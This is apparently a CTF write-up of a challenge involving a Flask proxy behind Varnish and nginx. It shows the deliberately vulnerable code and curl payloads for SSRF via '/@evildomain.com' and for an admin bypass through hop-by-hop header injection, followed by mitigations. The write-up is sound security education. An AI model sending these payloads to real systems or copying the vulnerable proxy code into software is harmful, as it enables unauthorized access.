Contents

Code Snippet Serie - 04 - SSRF and HTTP Hop-by-Hop Header Injection

Challenge Description

/assets/images/writeups/code_snippets/code-snippet-01-04-01.png /assets/images/writeups/code_snippets/code-snippet-01-04-02.png /assets/images/writeups/code_snippets/code-snippet-01-04-03.png

This challenge, authored by @baguette, involves exploiting vulnerabilities in a Flask application that acts as a proxy. The application is behind a cache server managed by a varnish and a load balancer managed by a nginx. The application has two main routes: / and /admin. The / route proxies requests to https://root-me.org, while the /admin route restricts access based on the presence of the X-Real-IP header.

Vulnerability Overview

🛑 Vulnerabilities: The application is vulnerable to Server-Side Request Forgery (SSRF) and HTTP Hop-by-Hop Header Injection.

1. SSRF Vulnerability

The SSRF vulnerability lies in the proxy route, which constructs a URL using user-supplied input without proper validation.

2. HTTP Hop-by-Hop Header Injection

The HTTP Hop-by-Hop Header Injection vulnerability allows attackers to manipulate headers in a way that can bypass security checks or cause unexpected behavior in the backend.

Exploitation Process

1. SSRF Exploitation

  1. Discovery of SSRF Vulnerability:

    • The proxy route constructs a URL using the path parameter without proper validation.
    • An attacker can manipulate the URL to make the server request arbitrary resources.
    @app.route('/', defaults={'path': ''})
    @app.route('/<path:path>')
    def proxy(path):
        SITE_NAME = 'https://root-me.org'
        return get(f'{SITE_NAME}{path}').content
    
  2. Crafting a Malicious URL:

    • By using a URL like /@evildomain.com, the server will interpret it as https://root-me.org@evildomain.com, effectively making a request to evildomain.com.
  3. Submitting the Malicious URL:

    • Send a request to the vulnerable endpoint with the crafted URL.
    • The server will fetch content from the attacker-controlled domain.
    curl http://<target>/@evildomain.com
    

2. HTTP Hop-by-Hop Header Injection Exploitation

  1. Understanding Hop-by-Hop Headers:

    • Hop-by-hop headers are meant to be consumed by the proxy handling the request and not forwarded to the next hop.
    • Headers like Connection, Keep-Alive, Transfer-Encoding, etc., are treated as hop-by-hop by default.
    • If we set the HTTP headr X-Real-IP as hop-by-hop:
      • nginx will create the X-Real-IP header and forward it to varnish
      location / {
          proxy_pass http://cache_servers;
          proxy_set_header Connection $http_connection;
          proxy_set_header X-Real-IP $remote_addr;
          proxy_pass_request_headers on;
      }
      
      • varnish will consume and then drop it, forwarding the request to flask without the header
      sub vcl_pipe {
          set bereq.http.X-Real-IP = req.http.X-Real-IP;
      }
      
      • flask will not have the X-Real-IP header, so it will consider that the request has not been sent by varnish, so it was an admin.
      @app.route('/admin')
      def admin_panel():
          app.logger.info(request.headers)
          client_ip = request.headers.get('X-Real-IP', None)
          if not client_ip:
              return "Welcome to the admin panel!"
          else:
              abort(403)
      
  2. Crafting a Malicious Request:

    • Use a tool like curl to inject hop-by-hop headers.
    • Example: curl -H 'Connection: close, X-Real-IP' http://target
  3. Submitting the Malicious Request:

    • The injected Connection header will cause the Varnish cache server to remove the X-Real-IP header, bypassing security checks on the Flask application.
    curl -H 'Connection: close, X-Real-IP' http://target
    Welcome to the admin panel!
    

Mitigation

🔒 To mitigate these vulnerabilities, the following measures can be taken:

  • For SSRF:

    • As usual, validate and sanitize user input to ensure only allowed URLs are requested.
    • Use a whitelist of allowed domains.
  • For HTTP Hop-by-Hop Header Injection:

    • Ensure proxies properly consume and do not forward hop-by-hop headers.
    • Implement strict header validation and filtering.

Additional Resources